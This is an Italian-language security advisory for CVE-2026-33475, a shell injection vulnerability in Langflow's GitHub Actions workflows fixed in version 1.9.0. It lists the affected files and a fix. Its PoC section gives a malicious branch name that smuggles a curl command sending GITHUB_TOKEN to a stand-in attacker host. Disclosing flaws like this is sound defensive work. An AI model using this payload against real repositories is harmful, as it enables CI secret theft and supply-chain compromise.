CVE-2026-33475

Riepilogo

Langflow è uno strumento per creare e distribuire agenti e flussi di lavoro basati sull'IA. Esiste una vulnerabilità di shell injection remota non autenticata in più workflow di GitHub Actions nel repository Langflow precedenti alla versione 1.9.0. L'interpolazione non sanificata delle variabili di contesto di GitHub (ad es., `${{ github.head_ref }}`) nei passaggi `run:` consente agli aggressori di iniettare ed eseguire comandi shell arbitrari tramite un nome di branch dannoso o un titolo di pull request. Ciò può portare all'esfiltrazione di segreti (ad es., `GITHUB_TOKEN`), alla manipolazione dell'infrastruttura o al compromesso della supply chain durante l'esecuzione di CI/CD. La versione 1.9.0 corregge la vulnerabilità. --- ### Dettagli Diversi workflow in `.github/workflows/` e `.github/actions/` fanno riferimento a variabili di contesto di GitHub direttamente nei comandi shell `run:`, come ad esempio: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Oppure: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Poiché `github.head_ref`, `github.event.pull_request.title` e `inputs.*` personalizzati possono contenere **valori controllati dall'utente**, devono essere trattati come **input non attendibili**. L'interpolazione diretta senza quoting o sanificazione adeguati porta all'iniezione di comandi shell. --- ### PoC 1. **Fork** del repository Langflow 2. **Creare un nuovo branch** con il nome: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Aprire una Pull Request** verso il branch principale dal nuovo branch 4. GitHub Actions eseguirà il workflow interessato (ad es., `deploy-docs-draft.yml`) 5. Il passaggio `run:` contenente: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Eseguirà: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. L'aggressore riceve il segreto CI tramite l'URL di esfiltrazione. --- ### Impatto - **Tipo:** Shell Injection / Remote Code Execution in CI - **Ambito:** Qualsiasi fork pubblico di Langflow con GitHub Actions abilitato - **Impatto:** Accesso completo ai segreti CI (ad es., `GITHUB_TOKEN`), possibilità di pubblicare tag o immagini dannosi, manomettere le release o divulgare dati sensibili dell'infrastruttura --- ### Correzione Suggerita Rifattorizzare i workflow interessati per **utilizzare variabili d'ambiente** e racchiuderle tra **virgolette doppie**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Evitare l'interpolazione diretta di `${{ ... }}` all'interno di `run:` per qualsiasi valore controllato dall'utente. --- ### File Interessati (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`